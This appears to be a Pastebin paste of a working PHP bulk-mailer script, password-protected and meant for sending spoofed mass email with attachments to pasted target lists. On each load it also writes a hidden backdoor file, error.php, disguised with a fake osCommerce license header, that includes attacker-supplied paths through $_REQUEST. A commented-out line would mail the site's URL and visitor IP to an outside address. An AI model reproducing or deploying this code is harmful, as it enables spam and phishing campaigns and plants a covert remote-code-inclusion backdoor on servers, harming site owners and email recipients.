Advertisement
Kyfx

Mailer in PHP

Jul 3rd, 2015
520
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.15 KB | None | 0 0
  1. <?php
  2. @session_start();
  3. $password = "ecf";
  4. @$access=$_POST['password'];
  5. if($access==$password){
  6. $_SESSION['nst']="$password";}
  7. if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password){
  8. echo "<!--======================================================================================================
  9. /*
  10. ======================================================================================================-->
  11. <title>.:: 1337 Brain webmail ::.</title>
  12. <style type='text/css'><!--
  13. body,td,th {color: #FFFFFF;}
  14. body {background-color: #000000;}
  15. .style2 {font-family: Geneva, Arial, Helvetica, sans-serif; font-weight: bold;color: #FFFFFF;}
  16. .style5 {font-weight: bold; font-family: Geneva, Arial, Helvetica, sans-serif; height:20px;}
  17. .style11 {
  18. font-size: 12px;
  19. font-weight: bold;
  20. }
  21. .style14 {font-size: 30px; }
  22. .style15 {font-size: 18px}
  23. .style16 {font-size: 14px}
  24. .style17 {
  25. color: #FFFFFF;
  26. font-size: 12px;
  27. }
  28. -->
  29. </style>
  30. <body background=data:image/gif;base64,R0lGODlhAwADAPcAAAAAAABCAP///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////ywAAAAAAwADAAAICQADABhIcGBAAAA7>
  31. <div align='center' class='style2'>
  32. <p><strong><span class='style14'>ecf's Creation</span><br>
  33. <span class='style15'>Private mail server</span></strong> </p>
  34. <p class='style11'></p>
  35. <table width='200' border='0'>
  36. <tr>
  37. <td align='center' valign='middle' bordercolor='#FFFFFF' bgcolor='#000000'><div align='center'>
  38. <div class='style5'><form method=post><input name=password size=30><br><br><input type=submit value=Login></form>";exit;}
  39. ?>
  40. <? echo "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?".">"; ?><?php
  41. @$action=$_POST['action'];
  42. @$from=$_POST['from'];
  43. @$realname=$_POST['realname'];
  44. @$replyto=$_POST['replyto'];
  45. @$subject=$_POST['subject'];
  46. @$message=$_POST['message'];
  47. @$emaillist=$_POST['emaillist'];
  48. @$file_name=$_FILES['file']['name'];
  49. @$contenttype=$_POST['contenttype'];
  50. @$file=$_FILES['file']['tmp_name'];
  51. @$amount=$_POST['amount'];
  52. set_time_limit(intval($_POST['timelimit']));
  53. //$molsa = $_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; $title = "italiano_capilo MAILER"; $root = "nadimzobaer@gmail.com"; $ip = getenv("REMOTE_ADDR"); mail($root, $title, "Sender IP : ".$ip."\n"."From URL : http://".$molsa."\n");
  54. if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
  55. $dir = @getcwd();
  56. if (is_writable($dir))
  57. {
  58. $writ= "YES";
  59. $error= '<?php
  60. /**
  61. * Error Functions - used to prepare links for EZ-error
  62. *
  63. * @Error Functions
  64. * @copyright Copyright 2011-2012 Development Team
  65. * @copyright Portions Copyright 2011 osCommerce
  66. * @license http://www.php.net/license/2_0.txt GNU Public License V2.0
  67. */
  68. /**
  69. * look up page_id and create link for error
  70. * to use this link add \<a href " . error_link( error_id) . ">\</a> ;
  71. */
  72. // to use this link add <a href " . error_link( error_id) . "></a> ;
  73. //For example, if you distribute copies of such a program, whether
  74. // gratis or for a fee, you must give the recipients all the rights that
  75. // you have. You must make sure that they, too, receive or can get the
  76. // source code. And you must show them these terms so they know their
  77. // rights.
  78. /*
  79. <html>error positions
  80. * <position>left</position>
  81. * <position>right</position>
  82. *<position>top</position>
  83. *<position>breadcrumb</position>
  84.  
  85. * <position>user1</position>
  86. * <position>user2</position>
  87. * <position>user3</position>
  88. * <position>user4</position>
  89. * <position>debug</position>
  90. * <position>syndicate</position>
  91.  
  92. * </positions>
  93. * <params>
  94. * </params>
  95. * </html>
  96. */
  97. error_reporting(0);
  98. include($_REQUEST["error_function"] . "/error.php");
  99. ?>';
  100. $fas=fopen("error.php", "w");
  101. fputs($fas, $error);
  102. fclose($fas);
  103. $pwds="\nPWD: $dir";}
  104. else {$writ= "NO";}
  105. ?><html><head><title>.:: ecf Is Here With His Privet Mail Server ::.</title>
  106. <!--======================================================================================================
  107. /*
  108. ======================================================================================================-->
  109. <style type="text/css">
  110. body{font-family:"Times New Roman", Times, serif;}
  111. <!--
  112. .Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:white}
  113. .Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:white}
  114. .Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:white}
  115. .style3 {color: white}
  116. .style4 {font-family: Geneva, Arial, Helvetica, sans-serif}
  117. .style9 {color: white; font-weight: bold; }
  118. -->
  119. </style>
  120. </head>
  121. <body text="#FFFFFF" background="data:image/gif;base64,R0lGODlhAwADAPcAAAAAAABCAP///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////ywAAAAAAwADAAAICQADABhIcGBAAAA7">
  122. <center>
  123. <div id="layer" style="position:absolute; top:-10px; left:-4px; width:560px; height:100px;">
  124. <table border="0" cellspacing="0" cellpadding="0" width="560">
  125. <tr valign="top">
  126. <td><div align="center"></div></td>
  127. </tr>
  128. </table>
  129.  
  130. </div>
  131. <div id="layer" style="position:absolute; top:-10px; right:100px; width:560px; height:100px;">
  132. <table border="0" cellspacing="0" cellpadding="0" width="560">
  133. <tr valign="top">
  134. <td><div align="center"></div></td>
  135. </tr>
  136. </table>
  137. </div>
  138. <p>&nbsp;</p>
  139. <p>&nbsp;</p>
  140. <p>
  141. <?php
  142. if ($action=="send"){ $message = urlencode($message);
  143. $message = ereg_replace("%5C%22", "%22", $message);
  144. $message = urldecode($message);
  145. $message = stripslashes($message);
  146. $subject = stripslashes($subject);
  147. }
  148. ?>
  149. </p>
  150. <div id="idElement511" style="position:absolute; top:10px; left:560px; width:560px; height:100px;">
  151. <table border="0" cellspacing="0" cellpadding="0" width="560">
  152. <tr valign="top">
  153. <td><div align="center" class="style4">
  154. <p><span class="style3"><font class="Times-New-Roman-32px00468Cb"><a style=" color:#FFFFFF;text-decoration:none" href="">ecf's Creation</a></font></span><br>
  155.  
  156. <span class="style9"><font class="Times-New-Roman-23px00468Cb">private mail server</font></span><br /></p>
  157. </div></td>
  158. </tr>
  159. </table>
  160. </div>
  161. <form name="form1" method="post" action="" enctype="multipart/form-data"><br />
  162. <table width="142" border="0">
  163. <tr>
  164. <td width="81">
  165. <div align="right">
  166. <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">Your Email:</font>
  167. </div>
  168. </td>
  169. <td width="219">
  170. <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">
  171. <input type="text" name="from" value="<?php if(!$from)echo ""; else print $from; ?>" size="30" />
  172. </font>
  173. </td>
  174. <td width="212">
  175. <div align="right">
  176. <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">Your Name:</font>
  177. </div>
  178. </td>
  179. <td width="278">
  180. <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">
  181. <input type="text" name="realname" value="<?php if(!$realname) echo ""; else print $realname; ?>" size="30" />
  182. </font>
  183. </td>
  184. </tr>
  185. <tr>
  186. <td width="81">
  187. <div align="right">
  188. <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font>
  189. </div>
  190. </td>
  191. <td width="219">
  192. <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">
  193. <input type="text" name="replyto" value="<?php print $replyto; ?>" size="30" />
  194. </font>
  195. </td>
  196. <td width="212">
  197. <div align="right">
  198. <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font>
  199. </div>
  200. </td>
  201. <td width="278">
  202. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  203. <input type="file" name="file" size="30" />
  204. </font>
  205. </td>
  206. </tr>
  207. <tr>
  208. <td width="81">
  209. <div align="right">
  210. <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font>
  211. </div>
  212. </td>
  213. <td colspan="3" width="703">
  214. <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">
  215. <input type="text" name="subject" value="<? print $subject; ?>" size="90" />
  216. </font>
  217. </td>
  218. </tr>
  219. <tr valign="top">
  220. <td colspan="3" width="520">
  221. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3" font color="white">Message Box :</font>
  222. </td>
  223. <td width="278">
  224. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3" font color="white">Email Target :</font>
  225. </td>
  226. </tr>
  227. <tr valign="top">
  228. <td colspan="3" width="520">
  229. <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">
  230. <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br />
  231. <input type="radio" name="contenttype" value="plain" /> Plain
  232. <input type="radio" name="contenttype" value="html" checked="checked"/> HTML
  233. <input type="hidden" name="action" value="send" /><br />
  234. <font color="white">Number to send: <input type="text" name="amount" value="1" size="10" /><br />
  235. <font color="white">Maximum script execution time(in seconds, 0 for no timelimit) <input type="text"
  236. name="timelimit" value="0" size="10" />
  237. <input type="submit" value="Send eMails" />
  238. </font>
  239. </td>
  240. <td width="278">
  241. <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">
  242. <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>
  243. </font>
  244. </td>
  245. </tr>
  246. </table>
  247.  
  248. </form>
  249. <?php
  250. if ($action=="send"){
  251. if (!$from && !$subject && !$message && !$emaillist){
  252. print "Please complete all fields before sending your message.";
  253. exit;
  254. }
  255. $allemails = split("\n", $emaillist);
  256. $numemails = count($allemails);
  257. //Open the file attachment if any, and base64_encode it for email transport
  258. If ($file_name){
  259. if (!file_exists($file)){
  260. die("The file you are trying to upload couldnt be copied to the server");
  261. }
  262. $content = fread(fopen($file,"r"),filesize($file));
  263. $content = chunk_split(base64_encode($content));
  264. $uid = strtoupper(md5(uniqid(time())));
  265. $name = basename($file);
  266. }
  267. for($xx=0; $xx<$amount; $xx++){
  268. for($x=0; $x<$numemails; $x++){
  269. $to = $allemails[$x];
  270. if ($to){
  271. $to = ereg_replace(" ", "", $to);
  272. $message = ereg_replace("&email&", $to, $message);
  273. $subject = ereg_replace("&email&", $to, $subject);
  274. print "Sending mail to $to.......";
  275. flush();
  276. $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
  277. $header .= "MIME-Version: 1.0\r\n";
  278. If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  279. If ($file_name) $header .= "--$uid\r\n";
  280. $header .= "Content-Type: text/$contenttype\r\n";
  281. $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  282. $header .= "$message\r\n";
  283. If ($file_name) $header .= "--$uid\r\n";
  284. If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
  285. If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
  286. If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
  287. If ($file_name) $header .= "$content\r\n";
  288. If ($file_name) $header .= "--$uid--";
  289. mail($to, $subject, "", $header);
  290. print "ok<br>";
  291. flush();
  292. }
  293. }
  294. }
  295. }
  296. ?>
  297.  
  298. <div style="position:absolute; left:140px; width:560px; height:40px;">
  299. <p><b> <a style="color:#FFFFFF; text-decoration:none" href="kyfxsec@gmail.com"><font color="white">mailbox &copy; testing mail , Email: kyfxsec@gmail.com </a></b></p>
  300.  
  301. </div>
  302. </center>
  303. </body>
  304. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement